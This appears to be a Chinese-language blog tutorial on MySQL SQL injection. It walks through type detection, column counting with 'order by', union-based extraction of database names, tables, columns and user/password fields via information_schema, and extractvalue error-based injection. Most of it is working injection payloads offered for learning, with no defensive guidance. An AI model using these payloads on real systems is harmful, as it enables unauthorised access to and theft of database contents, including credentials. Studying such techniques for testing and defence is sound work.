经过上一篇的文章,相信大家也初步掌握了sql语句,现在我们就来学习SQL注入的攻击语句。
mysql在版本5之前,只能通过盲注来获取数据,mysql在版本5以后,可以获取信息的方式就很多了,因为含有默认的库:information_schema,这个库存储着mysql的结构信息。我们通过这个库来获取数据表名,字段名。
判断查询类型
select * from users where id=1
这个语句意思是查询users表中id为1的所有字段,当我把这个id的字段挖空,让这个字段可以用户自己输入。那么攻击者如果想要sql注入,就会在这个字段做操作。
所以就有了第一阶段:判断查询类型
数字类型
顾名思义就是程序员给出的字段名是否是数字类型(int)类型,可以通过与或来判断
and判断
select * from users where id=1 and 0# //用and来判断,and左边值是为真,右边的值不为真时会报错。
or判断
select * from users where id=0 or 1# //用or来判断,or左边值是为假,右边的值为真时则不会报错。
用一句话来概括,and左右两边的值为真时则为真,or左右两边任意一值为真则为真。
大家应该都注意到在输入的语句后面都有“#”,“#”的意思是注释,放在这里是将后面的语句注释掉。
字符类型
程序员给出的字段名是否是字符类型(char)类型,可以通过单引号’和双引号“来判断。
select * from users where id='1'#' //注释将原本的单引号给注释掉了,这句sql语句能正常显示
select * from users where id="1"#" //注释将原本的双引号给注释掉了,这句sql语句能正常显示
通过上面几种方法,我们基本上可以确定数据类型是什么了。
判断显示位
判断显示位,就是看返回到页面的数据是多少个字段,我们通常用order by来判断,order by 后面接的是数字,一般从1开始递增,假设显示位为3,order by 4就会报错,所以能判断出来显示位为3。
select * from users where id="1" order by 1#"
查看显示位
查看显示位,就是看返回到页面的数据在哪里展现,用union select来输出,比如显示位为3。
select * from users where id="1" union select 1,2,3#"
然后页面就会显示1 2 3这几个数字。
查库,当前用户,版本信息
查库:database()
当前用户:current_user()
版本信息:@@version
select * from users where id="1" union select database(),current_user,@@version#"
通过查库,获取当前用户,版本信息,我们可以对数据库有一个了解
查表
查表和查字段名的操作都是依附于information_schema这个结构库来查询
select * from users where id="1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#" //将查到的表名以一行的形式显示出来
information_schema是数据库名,tables是表名,table_schema,table_name都是字段名
查字段名
select * from users where id="1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name="xxx"#" //将查到的字段名以一行的形式显示出来
information_schema是数据库名,columns是表名,table_name,column_name都是字段名,xxx代表数据表名
获取数据
select * from xxx //获取数据表中所有字段
select user,password from xxx //获取数据表中字段名为user和password的字段
以上就是联合查询的sql注入手法,也有报错注入,盲注的手法
报错注入
and extractvalue(1,concat(‘~’,([sql注入语句])))#
and extractvalue(1,concat('~',(database())))# //查库
and extractvalue(1,concat('~',((select table_name from information_schema.tables where table_schema=database() limit i.n))))# //查表
and extractvalue(1,concat('~',((select column_name from information_schema.columns where table_name='xxx' limit i,n))))# //查列名
如果显示不出来可以用limit来逐一显示,在语句后面加入limit i,n i代表查询结果的索引值(默认从0开始)如果i=0时可以忽略,4;n代表查询结果返回的条数。